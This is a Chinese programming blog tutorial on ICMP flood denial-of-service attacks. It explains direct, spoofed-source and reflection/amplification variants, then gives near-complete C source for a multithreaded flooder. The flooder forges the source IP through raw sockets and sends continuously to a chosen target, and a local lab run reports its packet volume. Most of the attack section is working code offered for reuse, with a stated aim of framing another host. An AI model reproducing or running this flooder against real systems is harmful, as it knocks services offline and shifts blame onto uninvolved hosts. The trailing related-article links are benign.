Linux编程之ICMP洪水攻击

我的上一篇文章《Linux编程之PING的实现》里使用ICMP协议实现了PING的程序,ICMP除了实现这么一个PING程序,还有哪些不为人知或者好玩的用途?这里我将介绍ICMP另一个很有名的黑科技:ICMP洪水攻击。

ICMP洪水攻击属于大名鼎鼎的DOS(Denial of Service)攻击的一种,一种是黑客们喜欢的攻击手段,这里本着加深自己对ICMP的理解的目的,也试着基于ICMP写一段ICMP的洪水攻击小程序。

洪水攻击(FLOOD ATTACK)指的是利用计算机网络技术向目的主机发送大量无用数据报文,使得目的主机忙于处理无用的数据报文而无法提供正常服务的网络行为。

ICMP洪水攻击:顾名思义,就是对目的主机发送洪水般的ping包,使得目的主机忙于处理ping包而无能力处理其他正常请求,这就好像是洪水一般的ping包把目的主机给淹没了。

要实现ICMP的洪水攻击,需要以下三项的知识储备:

  • DOS攻击原理
  • ICMP的深入理解
  • 原始套接字的编程技巧

一、ICMP洪水攻击原理

ICMP洪水攻击是在ping的基础上形成的,但是ping程序很少能造成目的及宕机的问题,这是因为ping的发送包的速率太慢了,像我实现的PING程序里ping包发送速率限定在1秒1发,这个速率目的主机处理ping包还是绰绰有余的。所以要造成“洪水”的现象,就必须提升发包速率。这里介绍三种ICMP洪水攻击的方式:

(1)直接洪水攻击

这样做需要本地主机的带宽和目的主机的带宽之间进行比拼,比如我的主机网络带宽是30M的,而你的主机网络带宽仅为3M,那我发起洪水攻击淹没你的主机成功率就很大了。这种攻击方式要求攻击主机处理能力和带宽要大于被攻击主机,否则自身被DoS了。基于这种思想,我们可以使用一台高带宽高性能的电脑,采用多线程的方法一次性发送多个ICMP请求报文,让目的主机忙于处理大量这些报文而造成速度缓慢甚至宕机。这个方法有个大缺点,就是对方可以根据ICMP包的IP地址而屏蔽掉攻击源,使得攻击不能继续。

(2)伪IP攻击

在直接洪水攻击的基础上,我们将发送方的IP地址伪装成其他IP,如果是伪装成一个随机的IP,那就可以很好地隐藏自己的位置;如果将自己的IP伪装成其他受害者的IP,就会造成“挑拨离间”的情形,受害主机1的icmp回复包也如洪水般发送给受害主机2,如果主机1的管理员要查是哪个混蛋发包攻击自己,他一查ICMP包的源地址,咦原来是主机2,这样子主机2就成了戴罪羔羊了。

(3)反射攻击

这类攻击的思想不同于上面两种攻击,反射攻击的设计更为巧妙。其实这里的方式三的攻击模式是前两个模式的合并版以及升级版,方式三的攻击策略有点像“借刀杀人“,反射攻击不再直接对目标主机,而是让其他一群主机误以为目标主机在向他们发送ICMP请求包,然后一群主机向目的主机发送ICMP应答包,造成来自四面八方的洪水淹没目的主机的现象。比如我们向局域网的其他主机发送ICMP请求包,然后自己的IP地址伪装成目的主机的IP,这样子目的主机就成了ICMP回显的焦点了。这种攻击非常隐蔽,因为受害主机很难查出攻击源是谁。

二、ICMP洪水攻击程序设计

这里我想实现一个ICMP洪水攻击的例子,这里我想采用方式二来进行设计。虽说方式三的“借刀杀人”更为巧妙,其实也是由方式二的伪装方式进一步延伸的,实现起来也是大同小异。

首先给出攻击的模型图:

1.组ICMP包

这里的组包跟编写PING程序时的组包没太大差别,唯一需要注意的是,我们需要填写IP头部分,因为我们要伪装源地址,做到嫁祸于人。

void DoS_icmp_pack(char* packet)
{
  struct ip* ip_hdr = (struct ip*)packet;
  struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip));

  ip_hdr->ip_v = 4;
  ip_hdr->ip_hl = 5;
  ip_hdr->ip_tos = 0;
  ip_hdr->ip_len = htons(ICMP_PACKET_SIZE);
  ip_hdr->ip_id = htons(getpid());
  ip_hdr->ip_off = 0;
  ip_hdr->ip_ttl = 64;
  ip_hdr->ip_p = PROTO_ICMP;
  ip_hdr->ip_sum = 0;
  ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //伪装源地址
  ip_hdr->ip_dst.s_addr = dest; //填入要攻击的目的主机地址

  icmp_hdr->icmp_type = ICMP_ECHO;
  icmp_hdr->icmp_code = 0;
  icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8));
  //注意这里,因为数据部分为0,我们就简化了一下checksum的计算了
}

2.搭建发包线程

void Dos_Attack()
{
  char* packet = (char*)malloc(ICMP_PACKET_SIZE);
  memset(packet, 0, ICMP_PACKET_SIZE);
  struct sockaddr_in to;
  DoS_icmp_pack(packet);

  to.sin_family = AF_INET;
  to.sin_addr.s_addr = dest;
  to.sin_port = htons(0);

  while(alive) //控制发包的全局变量
  {
    sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr));
  }

  free(packet); //记得要释放内存
}

3.编写发包开关

这里的开关很简单,用信号量+全局变量即可以实现。当我们按下ctrl+c时,攻击将关闭。

void Dos_Sig()
{
  alive = 0;
  printf("stop DoS Attack!\n");
}

 4.总的架构

我们使用了64个线程一起发包,当然这个线程数还可以大大增加,来增加攻击强度。但我们只是做做实验,没必要搞那么大。

int main(int argc, char* argv[])
{
  struct hostent* host = NULL;
  struct protoent* protocol = NULL;
  int i;
  alive = 1;
  pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包
  int err = 0;

  if(argc < 2)
  {
    printf("Invalid input!\n");
    return -1;
  }

  signal(SIGINT, Dos_Sig);

  protocol = getprotobyname(PROTO_NAME);
  if(protocol == NULL)
  {
    printf("Fail to getprotobyname!\n");
    return -1;
  }

  PROTO_ICMP = protocol->p_proto;

  dest = inet_addr(argv[1]);

  if(dest == INADDR_NONE)
  {
    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
      printf("Invalid IP or Domain name!\n");
      return -1;
    }
    memcpy((char*)&dest, host->h_addr, host->h_length);

  }

  rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP);
  if(rawsock < 0)
  {
    printf("Fait to create socket!\n");
    return -1;
  }

  setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));

  printf("ICMP FLOOD ATTACK START\n");

  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
    if(err)
    {
      printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);
    }
  }

  for(i=0;i<THREAD_MAX_NUM;i++)
  {
    pthread_join(attack_thread[i], NULL);  //等待线程结束
  }

  printf("ICMP ATTACK FINISHI!\n");

  close(rawsock);

  return 0;
}

三、实验

本次实验本着学习的目的,想利用自己手上的设备,想进一步理解网络和协议的应用,所以攻击的幅度比较小,时间也就几秒,不对任何设备造成影响。

再说一下我们的攻击步骤:我们使用主机172.0.5.183作为自己的攻击主机,并将自己伪装成主机172.0.5.182,对主机172.0.5.9发起ICMP洪水攻击。

攻击开始

我们观察一下”受害者“那边的情况。在短短5秒里,正确收到并交付上层处理的包也高达7万多个了。我也不敢多搞事,避免影响机器工作。

使用wireshark抓包再瞧一瞧,满满的ICMP包啊,看来量也是很大的。ICMP包的源地址显示为172.0.5.182(我们伪装的地址),它也把echo reply回给了172.0.5.182。主机172.0.5.182肯定会想,莫名其妙啊,怎么收到这么多echo reply包。

攻击实验做完了。

现在更为流行的是DDOS攻击,其威力更为强悍,策略更为精巧,防御难度也更加高。
其实,这种DDoS攻击也是在DOS的基础上发起的,具体步骤如下:

1. 攻击者向“放大网络”广播echo request报文
    2. 攻击者指定广播报文的源IP为被攻击主机
    3. “放大网络”回复echo reply给被攻击主机
    4. 形成DDoS攻击场景

这里的“放大网络”可以理解为具有很多主机的网络,这些主机的操作系统需要支持对目的地址为广播地址的某种ICMP请求数据包进行响应。

攻击策略很精妙,简而言之,就是将源地址伪装成攻击主机的IP,然后发广播的给所有主机,主机们收到该echo request后集体向攻击主机回包,造成群起而攻之的情景。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持我们。

(0)

相关推荐

  • 详解Linux系统中网卡MAC地址克隆方法

    怎么临时性地改变 MAC 地址? 你可以在 Linux 运行的时候改变 MAC 地址.需要注意的是当 MAC 地址转换的那一会时间,你的网络会掉线.当电脑重启时 MAC 地址又会变回原来的.下面介绍几种方法来改变你的 MAC 地址. 方法一:iproute2 $sudo ip link set dev eth0 down $sudo ip link set dev eth0 address 00:00:00:00:00:01 $sudo ip link set dev eth0 up 方法二:m

  • Linux C中sockaddr和sockaddr_in的区别

    Linux C中sockaddr和sockaddr_in的区别 struct sockaddr和struct sockaddr_in这两个结构体用来处理网络通信的地址. 在各种系统调用或者函数中,只要和网络地址打交道,就得用到这两个结构体. 网络中的地址包含3个方面的属性: 1 地址类型: ipv4还是ipv6 2 ip地址 3 端口 相应的,头文件有如下定义: include <netinet/in.h> struct sockaddr { unsigned short sa_family;

  • linux下tomcat常用操作

    假设tomcat安装在/usr/local/tomcat7 启动tomcat cd /usr/local/tomcat7/bin ./startup.sh 查看启动状态 ps -ef|grep java root 3729 1729 6 09:23 pts/2 00:00:03 /usr/lib/jvm/java-8-openjdk-i386//bin/java -Djava.util.logging.config.file=/usr/local/tomcat7/conf/logging.pro

  • Linux系统中利用node.js提取Word(doc/docx)及PDF文本的内容

    前言 想要做全文搜索引擎,则需要将word/pdf等文档内容提取出来.对于pdf有xpdf等一些开源方案. 但Word文档的情况则会复杂一些. 提取PDF文本内容 XPDF是一个免费开源的软件,用于显示PDF文件,并可将pdf转换成文字图片等,同样支持Windows版.在Debian Linux上安装非常简单: apt-get install xpdf 我们这里只使用pdftotext这个功能,直接输入可查看帮助: root@raspberrypi:/var/www# pdftotext pdf

  • Linux C中多线程与volatile变量

    Linux C中多线程与volatile变量 volatile 修饰的变量表示改变量的值是易变的,编译器不对其进行优化,访问该变量的时候不会从寄存器读取, 而是直接从内存读取变量. 在多线程环境下,每个线程都有一个独立的寄存器,用于保存当前执行的指令.假设我们定义了一个全局变量,每个线程都会访问这个全局变量,这时候线程的寄存器可能会存储全量变量的当前值用于后续的访问.当某个线程修改了全局变量的值时,系统会立即更新该线程寄存器中对应的值,其他线程并不知道这个全局变量已经修改,可能还是从寄存器中获取

  • 详谈Linux写时拷贝技术(copy-on-write)必看篇

    COW技术初窥 在linux程序中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,linux中引入了"写时复制"技术,也就是只有进程空间的各段的内容要发生变化时,才将父进程的内容复制一份给子进程. 那么子进程的物理空间没有代码,怎么去取指令执行exec系统调用呢?? 在fork之后exec之前两个进程用的是相同的物理空间(内存区),子进程的代码段.数据段.堆栈都是指向父进程的物理空间,也就是说,两者的虚拟空间不同,其对应的物理空间是一

  • Oracle Linux 6.8安装 mysql 5.7.17的详细教程

    安装MySQL 5.7.17的方法如下所示: 1.下载 http://www.codeyyy.com/linux/149-150-153.html 2.上传解压 tar -xvf mysql-5.7.17-linux-glibc2.5-x86_64.tar.gz 3.新建mysql目录 mkdir -p /usr/local/mysql/data mv mysql-5.7.17-linux-glibc2.5-x86_64/* /usr/local/mysql/ 4.添加用户组 groupadd

  • NetCore1.1+Linux部署初体验

    NetCore1.1+Linux部署初体验 1.环境准备 Centaos7+Win10 虚拟机 Win10安装VS2017 注意勾选下.Net Core 3.Centaos安装netcore 1.1参见https://www.microsoft.com/net/core sudo yum install libunwind libicu curl -sSL -o dotnet.tar.gz https://go.microsoft.com/fwlink/?linkid=848821 sudo m

  • Linux编程之ICMP洪水攻击

    我的上一篇文章<Linux编程之PING的实现>里使用ICMP协议实现了PING的程序,ICMP除了实现这么一个PING程序,还有哪些不为人知或者好玩的用途?这里我将介绍ICMP另一个很有名的黑科技:ICMP洪水攻击. ICMP洪水攻击属于大名鼎鼎的DOS(Denial of Service)攻击的一种,一种是黑客们喜欢的攻击手段,这里本着加深自己对ICMP的理解的目的,也试着基于ICMP写一段ICMP的洪水攻击小程序. 洪水攻击(FLOOD ATTACK)指的是利用计算机网络技术向目的主机发

  • Linux编程之PING实现

    PING(Packet InterNet Groper)中文名为因特网包探索器,是用来查看网络上另一个主机系统的网络连接是否正常的一个工具.ping命令的工作原理是:向网络上的另一个主机系统发送ICMP报文,如果指定系统得到了报文,它将把回复报文传回给发送者,这有点象潜水艇声纳系统中使用的发声装置.所以,我们想知道我这台主机能不能和另一台进行通信,我们首先需要确认的是我们两台主机间的网络是不是通的,也就是我说的话能不能传到你那里,这是双方进行通信的前提.在Linux下使用指令ping的方法和现象

  • linux编程之pipe()函数详解

    管道是一种把两个进程之间的标准输入和标准输出连接起来的机制,从而提供一种让多个进程间通信的方法,当进程创建管道时,每次都需要提供两个文件描述符来操作管道.其中一个对管道进行写操作,另一个对管道进行读操作.对管道的读写与一般的IO系统函数一致,使用write()函数写入数据,使用read()读出数据. #include<unistd.h> int pipe(int filedes[2]); 返回值:成功,返回0,否则返回-1.参数数组包含pipe使用的两个文件的描述符.fd[0]:读管道,fd[

  • Linux网络编程之UDP Socket程序示例

    在网络传输协议中,TCP协议提供的是一种可靠的,复杂的,面向连接的数据流(SOCK_STREAM)传输服务,它通过三段式握手过程建立连接.TCP有一种"重传确认"机制,即接收端收到数据后要发出一个肯定确认的信号,发送端如果收到接收端肯定确认的信号,就会继续发送其他的数据,如果没有,它就会重新发送. 相对而言,UDP协议则是一种无连接的,不可靠的数据报(SOCK_DGRAM)传输服务.使用UDP套接口不用建立连接,服务端在调用socket()生成一个套接字并调用bind()绑定端口后就可

  • 对Linux下shell编程之for循环的实例讲解

    linux 下 for 循环中可以使用 break 和 continue 关键字来跳出循环, 和java 用法一致 一.常用for循环结构 #语法一 for 变量 in 值1 值2 值3.. do 程序块儿 done # #语法二 for 变量 `命令` do 程序块儿 done # #语法三 for ((初始值; 循环控制; 变量变化)) do 程序块儿 done 二.常用测试结构 1. 输出3次uptime #!/bin/bash for i in 1 2 3 4 5 do echo "$i

  • Python网络编程之socket与socketserver

    目录 一.基于TCP协议的socket套接字编程 1.套接字工作流程 1. 服务端套接字函数 2. 客户端套接字函数 3. 公共用途的套接字函数 4. 面向锁的套接字方法 5. 面向文件的套接字的函数 2.基于TCP协议的套接字编程 1. 服务端 2. 客户端 3.地址占用问题 1. 方法一:加入一条socket配置,重用ip和端口 2. 方法二:通过调整linux内核参数 4.模拟ssh远程执行命令 5.粘包 1.发送端需要等缓冲区满才发送出去,造成粘包 2.接收方不及时接收缓冲区的包,造成多

  • Shell编程之case语句实战(小结)

    大家好,今天给大家带来的是Shell编程之case语句的使用! 其实case语句还是很好理解的,在shell编程中,if语句有它的语法,函数也有它的语法,那么在我们shell编程中的case语句也是有它的语法的,如下: case 变量名 in 值1) 指令1 ;; 值2) 指令2 ;; 值3) 指令3 ;; esac 在以上的代码中我们发现,以case开头,以esac结尾,就像我们的if语句,以if开头以fi结束时一样的. 例2: case "找老公条件" in 家里有房子) 嫁给你.

  • 详解Python GUI编程之PyQt5入门到实战

    1. PyQt5基础 1.1 GUI编程学什么 大致了解你所选择的GUI库 基本的程序的结构:使用这个GUI库来运行你的GUI程序 各种控件的特性和如何使用 控件的样式 资源的加载 控件的布局 事件和信号 动画特效 界面跳转 设计工具的使用 1.2 PyQT是什么 QT是跨平台C++库的集合,它实现高级API来访问现代桌面和移动系统的许多方面.这些服务包括定位和定位服务.多媒体.NFC和蓝牙连接.基于Chromium的web浏览器以及传统的UI开发.PyQt5是Qt v5的一组完整的Python

  • C#网络编程之Socket编程

    目录 一:什么是SOCKET 套接字分类 二:SOCKET相关概念 1.端口 2.协议 2.1 TCP: 2.2 UDP 三:socket一般应用模式: 四:SOCKET通信基本流程图: 服务器端: 客户端: 五:示例程序 一:什么是SOCKET socket的英文原义是“孔”或“插座”.作为进程通信机制,取后一种意思.通常也称作“套接字”,用于描述IP地址和端口,是一个通信链的句柄(其实就是两个程序通信用的).socket非常类似于电话插座.以一个电话网为例:电话的通话双方相当于相互通信的2个

  • Shell编程之/bin/bash和/bin/sh的区别浅析

    目录 前言 正题 注意 补充:docker容器使用/bin/bash命令 总结 前言 早期,学过shell的5种启动方式,学的没有那么深入.从而导致了想深究一下docker exec 命令为什么tomcat容器用/bin/bash,nginx容器却用/bin/sh,被这个问题,折腾了半天! 从/bin/bash,就是进入不了nginx容器,由此引发了一系列的排查.如果你对,docker的这个错误感兴趣,点击进入. 正题 简单的讲,/bin/sh是早期版本,是一种便携方式的解释性脚本语言,自带有p

随机推荐